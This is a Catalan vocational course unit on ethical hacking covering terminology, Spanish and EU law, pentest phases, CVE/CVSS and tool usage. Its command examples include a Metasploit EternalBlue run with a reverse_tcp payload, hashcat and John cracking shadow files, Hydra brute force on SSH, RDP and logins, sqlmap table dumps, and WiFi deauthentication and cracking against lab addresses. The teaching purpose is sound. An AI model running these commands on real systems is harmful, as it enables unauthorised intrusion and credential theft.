Salta el contingut

Eines, Conceptes Bàsics i Marc Legal

Proposta didàctica

En aquest tema treballem el RA1 del mòdul 5025: Determina eines de monitorització, conceptes bàsics i el marc legal del hacking ètic.

Criteris d'avaluació

  • CA1.1 Defineix terminologia del hacking ètic.

  • CA1.2 Identifica conceptes ètics i legals (ciberdelicte, marc legal).

  • CA1.3 Defineix abast i condicions d'un test d'intrusió.

  • CA1.4 Identifica la tríada CIA.

  • CA1.5 Identifica les fases d'un atac.

  • CA1.6 Analitza i defineix tipus de vulnerabilitats.

  • CA1.7 Analitza i defineix tipus d'atac.

  • CA1.8 Determina i caracteritza vulnerabilitats existents.

  • CA1.9 Determina eines de monitorització.

Continguts de referència

  1. Terminologia fonamental del hacking ètic
  2. Tipologia de hackers i motivacions
  3. Hacking ètic vs. hacking maliciós: diferències clau
  4. Marc legal espanyol: Codi Penal arts. 197-201 i 264
  5. Marc legal europeu: Directiva NIS2, RGPD, Budapest Convention
  6. Test d'intrusió: tipus (black box, white box, grey box)
  7. Regles d'Enfrontament (Rules of Engagement)
  8. Fases d'un pentest: Pre-engagement → Recon → Scanning → Exploitation → Post-exploitation → Reporting
  9. Classificació de vulnerabilitats: CVE, CVSS v3.1, CWE
  10. Eines de reconeixement: Nmap, Recon-ng, theHarvester, Maltego
  11. Eines d'escaneig: Nessus, OpenVAS, Nikto
  12. Eines d'explotació: Metasploit, ExploitDB, SearchSploit
  13. Eines web: Burp Suite, OWASP ZAP, SQLmap
  14. Eines de contrasenyes: Hashcat, John the Ripper, Hydra
  15. Eines WiFi: Aircrack-ng, Kismet, Wifite
  16. Dark Web i Deep Web: conceptes i eines (Tor)
  17. OWASP Testing Guide: metodologia de seguretat web

Marc legal i ètic

Totes les tècniques i eines d'aquest tema s'han de practicar exclusivament en entorns de laboratori controlats i autoritzats. L'accés no autoritzat a sistemes informàtics és un delicte penal tipificat a l'art. 197 bis del Codi Penal espanyol amb penes de fins a 2 anys de presó.


1. Terminologia fonamental

1.1 Qui és un hacker?

El terme hacker originalment designava una persona amb profunds coneixements tècnics capaç de modificar, adaptar i millorar sistemes informàtics. Amb el temps, el terme ha adquirit connotacions diverses:

Terme Definició
Hacker Persona amb coneixements tècnics avançats que analitza i manipula sistemes informàtics
Cracker Persona que trenca sistemes de seguretat amb intenció maliciosa o per lucre
Script Kiddie Persona sense coneixements profunds que utilitza eines d'altri sense entendre-les
White Hat Hacker ètic que treballa amb autorització per millorar la seguretat
Black Hat Hacker maliciós que actua sense autorització per lucre, espionatge o dany
Grey Hat Hacker que actua sense autorització però sense intenció de causar dany
Hacktivista Hacker amb motivació política o ideològica
Pentester Professional de seguretat contractat per fer proves d'intrusió autoritzades
Bug Hunter Investigador que cerca vulnerabilitats en programes de bug bounty

1.2 Terminologia tècnica essencial

Terme Definició
Vulnerabilitat Debilitat en un sistema que pot ser aprofitada per un atacant
Exploit Codi o tècnica que aprofita una vulnerabilitat
Payload Codi maliciós que s'executa un cop s'ha explotat una vulnerabilitat
Vector d'atac Via o mecanisme que utilitza l'atacant per arribar al sistema objectiu
Superfície d'atac Conjunt de punts on un atacant pot intentar introduir-se al sistema
Zero-day Vulnerabilitat desconeguda pel fabricant i sense pegat disponible
CVE Common Vulnerabilities and Exposures - Identificador únic de vulnerabilitat
CVSS Common Vulnerability Scoring System - Puntuació de gravetat (0-10)
Pentest Test d'intrusió o prova de penetració autoritzada
Red Team Equip que simula atacs per provar les defenses
Blue Team Equip defensor que monitoritza i respon als atacs
Purple Team Col·laboració entre Red i Blue Team per millorar les defenses

2. Hacking ètic vs. hacking maliciós

graph LR
    H["Hacking"] --> HE["Hacking Ètic\n(White Hat)"]
    H --> HM["Hacking Maliciós\n(Black Hat)"]

    HE --> HE1["✅ Autorització escrita"]
    HE --> HE2["✅ Abast definit"]
    HE --> HE3["✅ Objectiu: millorar seguretat"]
    HE --> HE4["✅ Informe de vulnerabilitats"]
    HE --> HE5["✅ Legal i ètic"]

    HM --> HM1["❌ Sense autorització"]
    HM --> HM2["❌ Sense límits d'abast"]
    HM --> HM3["❌ Objectiu: lucre/dany"]
    HM --> HM4["❌ Ocultar activitat"]
    HM --> HM5["❌ Il·legal - delicte penal"]

    style HE fill:#27ae60,color:#fff
    style HM fill:#e74c3c,color:#fff

Diferències clau

La única diferència entre un pentest legal i un atac il·legal és l'autorització escrita. Les mateixes tècniques, les mateixes eines, els mateixos procediments - però amb o sense permís del propietari del sistema.

Principi fonamental

Sense autorització escrita = Delicte penal. No importa la intenció, no importa si "no fas cap dany". L'accés no autoritzat és delicte independentment del resultat.


3.1 Codi Penal espanyol

Articles del Codi Penal

Art. 197 CP - Descobriment i revelació de secrets: Apoderament de dades personals sense autorització, intercepció de comunicacions. Pena: 1-4 anys.

Art. 197 bis CP - Accés il·lícit a sistemes: "El que per qualsevol mitjà o procediment, vulnerant les mesures de seguretat establertes per a impedirho, i sense estar degudament autoritzat, accedeixi o faciliti a un altre l'accés al conjunt o una part d'un sistema d'informació..." Pena: fins a 2 anys o fins a 3 anys si afecta infraestructures crítiques.

Art. 197 ter CP - Eines per a delictes informàtics: Producció, adquisició, possessió o facilitació d'eines per cometre delictes dels art. 197 o 197 bis. Pena: 6 mesos - 2 anys.

Art. 264 CP - Danys informàtics: Destrucció, dany, deteriorament, alteració, supressió o inaccessibilitat de dades, programes informàtics o documents electrònics aliens. Pena: 6 mesos - 3 anys.

Art. 264 bis CP - Atacs a infraestructures crítiques: Sabotatge d'infraestructures crítiques (energia, transport, finances, salut...). Pena: 3-8 anys.

3.2 Marc europeu

Normativa Descripció
Directiva NIS2 (2022/2555) Mesures per a un alt nivell comú de ciberseguretat a la UE. Obliga entitats essencials i importants a gestionar riscos i notificar incidents en 24-72h
RGPD (2016/679) Reglament General de Protecció de Dades. Afecta tractament de dades personals
Conveni de Budapest Primer tractat internacional sobre cibercrim. Marc de cooperació entre països
Cyber Resilience Act Regulació de la ciberseguretat de productes digitals
ENISA Agència de la UE per a la Ciberseguretat

3.3 Autoritzacions legals per al pentest

Per realitzar un pentest de forma legal cal:

  1. Contracte de serveis entre el pentester i el client
  2. Document de Regles d'Enfrontament (RoE - Rules of Engagement) que defineix:
  3. Abast (sistemes inclosos i exclosos)
  4. Dates i horaris autoritzats
  5. Tècniques permeses i prohibides
  6. Punts de contacte d'emergència
  7. Tractament de dades sensibles trobades
  8. Autorització del propietari (no n'hi ha prou amb el client si els sistemes pertanyen a tercers)
  9. NDA (Non-Disclosure Agreement) per protegir la confidencialitat

4. Test d'intrusió: tipus i fases

4.1 Tipus de pentest

Tipus Informació prèvia Simulació Ús típic
Black Box Cap Atacant extern desconeixedor Prova realista d'atac extern
White Box Total (codi, infraestructura, credencials) Auditor intern Auditoria completa i exhaustiva
Grey Box Parcial (per exemple, credencials d'usuari) Atacant intern o partner Compromís entre realisme i eficàcia

4.2 Fases d'un test d'intrusió

flowchart TD
    A["1. PRE-ENGAGEMENT\n• Contracte i RoE\n• Definir abast\n• Acords legals\n• Punts de contacte"] --> B["2. RECONEIXEMENT\n• OSINT / Footprinting passiu\n• Enumeració DNS\n• Shodan, theHarvester\n• Xarxes socials"]
    B --> C["3. ESCANEIG\n• Nmap, Masscan\n• Nessus / OpenVAS\n• Enumeració de serveis\n• Identificació vulnerabilitats"]
    C --> D["4. EXPLOTACIÓ\n• Metasploit Framework\n• Exploits manuals\n• Phishing, Brute Force\n• Prova de concepte (PoC)"]
    D --> E["5. POST-EXPLOTACIÓ\n• Escalada de privilegis\n• Pivotatge\n• Persistència\n• Extracció de dades"]
    E --> F["6. INFORME\n• Executive summary\n• Findings tècnics\n• CVSS scoring\n• Recomanacions"]
    F --> G["7. REMEDIACIÓ\n• Implementar correccions\n• Verificació (retesting)\n• Informe final"]

    style A fill:#27ae60,color:#fff
    style B fill:#2980b9,color:#fff
    style C fill:#8e44ad,color:#fff
    style D fill:#e67e22,color:#fff
    style E fill:#e74c3c,color:#fff
    style F fill:#16a085,color:#fff
    style G fill:#27ae60,color:#fff

5. Classificació de vulnerabilitats

5.1 Sistema CVE

El CVE (Common Vulnerabilities and Exposures) és un identificador estandarditzat per a vulnerabilitats de seguretat. Format: CVE-ANY-NNNNNN

Exemples de CVEs importants:

CVE Nom Sistema afectat CVSS Any
CVE-2017-0143 EternalBlue Windows SMB 9.3 2017
CVE-2014-0160 Heartbleed OpenSSL 7.5 2014
CVE-2021-44228 Log4Shell Apache Log4j 10.0 2021
CVE-2019-0708 BlueKeep Windows RDP 9.8 2019
CVE-2021-34527 PrintNightmare Windows Print Spooler 8.8 2021
CVE-2022-30190 Follina Microsoft MSDT 7.8 2022

5.2 Puntuació CVSS v3.1

El CVSS (Common Vulnerability Scoring System) avalua la gravetat:

Rang Gravetat Color
0.0 Cap Verd
0.1-3.9 Baix Groc clar
4.0-6.9 Mitjà Taronja
7.0-8.9 Alt Taronja fort
9.0-10.0 Crític Vermell

6. Eines de hacking ètic per fases

6.1 Reconeixement

mindmap
  root((Reconeixement))
    Passiu
      theHarvester
      Recon-ng
      Maltego
      Shodan
      Censys
      WHOIS
      DNSdumpster
    Actiu
      Nmap
      Masscan
      Netcat
      Nessus
      OpenVAS

Nmap - Escàner de xarxa

# Escaneig bàsic de ports
nmap 192.168.1.0/24

# Escaneig SYN stealth (requereix root)
nmap -sS 192.168.1.100

# Detecció de versió de serveis
nmap -sV 192.168.1.100

# Detecció de sistema operatiu
nmap -O 192.168.1.100

# Escaneig agressiu (OS, versió, scripts, traceroute)
nmap -A 192.168.1.100

# Escaneig amb scripts NSE
nmap --script=vuln 192.168.1.100

# Escaneig de ports específics
nmap -p 22,80,443,3306 192.168.1.100

# Exportar resultats
nmap -oX resultat.xml -oN resultat.txt 192.168.1.100

theHarvester - OSINT de correus i dominis

# Cerca d'emails i subdominis d'un domini
theHarvester -d exemple.com -l 500 -b all

# Amb font específica
theHarvester -d exemple.com -b google,bing,linkedin

# Exportar resultats
theHarvester -d exemple.com -b all -f resultat.html

Recon-ng - Framework de reconeixement

# Iniciar Recon-ng
recon-ng

# Dins de recon-ng:
[recon-ng][default] > marketplace install all
[recon-ng][default] > workspaces create clientXYZ
[recon-ng][clientXYZ] > modules load recon/domains-hosts/google_site_web
[recon-ng][clientXYZ][google_site_web] > options set SOURCE exemple.com
[recon-ng][clientXYZ][google_site_web] > run

6.2 Escaneig de vulnerabilitats

OpenVAS / Greenbone Vulnerability Manager

# Instal·lar OpenVAS a Kali
sudo apt install openvas -y
sudo gvm-setup
sudo gvm-start

# Accedir via web: https://127.0.0.1:9392
# Credencials per defecte: admin / (generades durant setup)

Nikto - Escàner de vulnerabilitats web

# Escaneig bàsic
nikto -h http://192.168.1.100

# Escaneig d'un port específic
nikto -h 192.168.1.100 -p 8080

# Exportar resultats
nikto -h http://192.168.1.100 -o nikto_resultat.html -Format html

6.3 Explotació

Metasploit Framework

# Iniciar Metasploit
msfconsole

# Buscar exploits
msf6 > search eternalblue
msf6 > search type:exploit platform:windows ms17-010

# Usar un exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# Veure opcions
msf6 exploit(ms17_010_eternalblue) > show options

# Configurar opcions
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.10
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

# Llançar exploit
msf6 exploit(ms17_010_eternalblue) > exploit

6.4 Eines de contrasenyes

Hashcat - Cracking de hashes

# Identificar tipus de hash
hashcat --example-hashes | grep -A2 "MD5"

# Atac de diccionari (mode 0)
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# Atac de força bruta (mode 3)
hashcat -m 0 hashes.txt -a 3 ?a?a?a?a?a?a?a?a

# Atac híbrid (diccionari + màscara)
hashcat -m 0 hashes.txt -a 6 /usr/share/wordlists/rockyou.txt ?d?d

# Modes comuns:
# -m 0    = MD5
# -m 100  = SHA1
# -m 1000 = NTLM
# -m 1800 = sha512crypt (Linux /etc/shadow)
# -m 2500 = WPA-PBKDF2-PMKID+EAPOL (WiFi)

John the Ripper

# Crack de fitxer de contrasenyes Linux
john /etc/shadow

# Amb diccionari
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Mostrar contrasenyes cracades
john --show hashes.txt

# Identificar format de hash
john --list=formats

Hydra - Brute force d'autenticació

# Força bruta SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# Força bruta HTTP POST (formulari de login)
hydra -l admin -P rockyou.txt 192.168.1.100 http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:F=Invalid"

# Força bruta FTP
hydra -L users.txt -P passwords.txt ftp://192.168.1.100

# Força bruta RDP
hydra -l administrator -P rockyou.txt rdp://192.168.1.100

6.5 Eines web

Burp Suite

# Iniciar Burp Suite (Community Edition inclosa a Kali)
burpsuite

# Configurar el proxy al navegador: 127.0.0.1:8080
# Interceptar peticions: Proxy > Intercept > On
# Reenviar al Repeater: Click dret > Send to Repeater
# Atac de diccionari web: Click dret > Send to Intruder

SQLmap - Detecció automàtica de SQLi

# Detecció bàsica
sqlmap -u "http://192.168.1.100/login.php?id=1"

# Amb cookies de sessió
sqlmap -u "http://192.168.1.100/profile.php?id=1" --cookie="session=abc123"

# Enumerar bases de dades
sqlmap -u "http://192.168.1.100/login.php?id=1" --dbs

# Enumerar taules d'una BD
sqlmap -u "http://192.168.1.100/login.php?id=1" -D dvwa --tables

# Extreure dades d'una taula
sqlmap -u "http://192.168.1.100/login.php?id=1" -D dvwa -T users --dump

# NOTA: Únicament en sistemes autoritzats (DVWA, WebGoat, etc.)

6.6 Eines WiFi

# Aircrack-ng Suite - Posar targeta en mode monitor
airmon-ng start wlan0

# Captura de xarxes WiFi
airodump-ng wlan0mon

# Captura de xarxa específica
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w captura wlan0mon

# Desautenticació (lab propi)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Crack WPA2 amb diccionari
aircrack-ng -w /usr/share/wordlists/rockyou.txt captura-01.cap

7. Dark Web i Deep Web

Terme Definició Eines
Surface Web Web indexada pels cercadors públics Navegadors convencionals
Deep Web Web no indexada (intranets, BD, portals privats) Navegadors convencionals
Dark Web Web accessible mitjançant xarxes especials (Tor, I2P) Tor Browser, I2P

Xarxa Tor

# Instal·lar Tor a Kali
sudo apt install tor torbrowser-launcher -y

# Iniciar servei Tor
sudo systemctl start tor

# Verificar connexió a Tor
curl --socks5 localhost:9050 https://check.torproject.org/

Ús legal del Dark Web

Accedir a la Dark Web no és il·legal en si mateix. El que pot ser il·legal és el contingut o les activitats que es realitzen. En el context de la ciberseguretat, el Dark Web s'utilitza per: - Investigar markets de ciberdelicte (de forma passiva, sense participar) - Buscar credencials filtrades d'organitzacions - Investigar grups d'APT i TTPs Sempre en el context d'una investigació autoritzada.


8. OWASP Testing Guide

La OWASP Testing Guide (OTG) és la metodologia estàndard per a l'avaluació de seguretat d'aplicacions web. Es divideix en categories:

Categoria Codi Exemples
Information Gathering OTG-INFO Fingerprinting, enumeració
Configuration Testing OTG-CONFIG Configuració del servidor
Authentication Testing OTG-AUTHN Brute force, bypass
Authorization Testing OTG-AUTHZ IDOR, privilege escalation
Input Validation OTG-INPVAL SQLi, XSS, Command Injection
Cryptography OTG-CRYPST Debilitats de xifrat

Miniactivitats

Miniactivitat 1: Identificació d'eines per fase

Per a cada escenari, indica quina eina és la més adequada i justifica-ho:

  1. Vols conèixer quines adreces de correu electrònic d'una empresa són públiques.
  2. Vols saber quins ports i serveis estan oberts a un servidor de laboratori.
  3. Vols saber si un servidor web té directoris accessibles no referenciats.
  4. Vols explotar una vulnerabilitat coneguda (CVE) en un sistema de lab.
  5. Vols crackear un hash NTLM capturat al lab.
  6. Vols interceptar peticions HTTP entre el navegador i un servidor de lab.
  7. Vols detectar xarxes WiFi a l'abast del laboratori.
  8. Vols identificar la versió del sistema operatiu d'un servidor de lab.

Eines disponibles: Nmap, theHarvester, Nikto, Metasploit, Hashcat, Burp Suite, airodump-ng, OpenVAS

Miniactivitat 2: Anàlisi d'un CVE real

Busca a la base de dades NVD (https://nvd.nist.gov/) informació sobre CVE-2021-44228 (Log4Shell):

  1. Quin sistema/programari afecta?
  2. Quina és la puntuació CVSS v3.1 i el vector?
  3. Quina és la data de publicació?
  4. Quines versions estan afectades?
  5. Quin és el vector d'atac? (xarxa local, internet, accés físic...)
  6. Quin és el tipus de vulnerabilitat (CWE)?
  7. Hi ha patches disponibles? Quina versió corregeix el problema?

Miniactivitat 3: Anàlisi d'un cas real de ciberdelicte

Llegiu la notícia sobre el cas "Operation Triangulation" (APT ios 2023) o un altre cas real de ciberdelicte i responeu:

  1. Quines fases del model d'atac cibernètic es van seguir?
  2. Quines eines o tècniques es van utilitzar?
  3. Quina vulnerabilitat (CVE) es va explotar?
  4. Quin impacte va tenir (CIA)?
  5. Com es va detectar l'atac?
  6. Quines mesures preventives haurien evitat l'atac?